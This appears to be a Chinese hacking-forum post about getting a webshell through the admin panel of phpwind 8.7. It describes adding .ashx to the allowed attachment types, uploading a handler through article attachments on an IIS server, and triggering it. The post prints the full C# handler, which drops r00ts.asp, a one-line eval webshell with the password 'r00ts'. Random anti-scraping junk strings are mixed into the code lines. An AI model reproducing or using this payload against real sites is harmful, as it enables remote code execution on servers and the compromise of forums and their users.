phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
# E, Y4 t5 z7 M2 v
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

+ |; J( f( o+ ]7 {$ H发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
3 N5 E9 H8 D( E& j  A" m
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

3 Q7 M4 {/ w8 w2 f6 ^( a  l0 d" M0 h2 Z下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
5 M/ \6 V. P7 D2 Dusing System;
# ^" w' g! ^8 J5 Fusing System.Web;
4 P6 t2 E+ u' \2 K1 v: eusing System.IO;
/ |7 ?" ?3 q: g9 p; npublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
" |/ f2 Z8 u0 I. @. h: j- ZStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
! N8 }( }* h* J1 S* H2 Z" [" f}
public bool IsReusable {
get {
return false;
}
, K# o; Q: }( P! s' O7 L}
}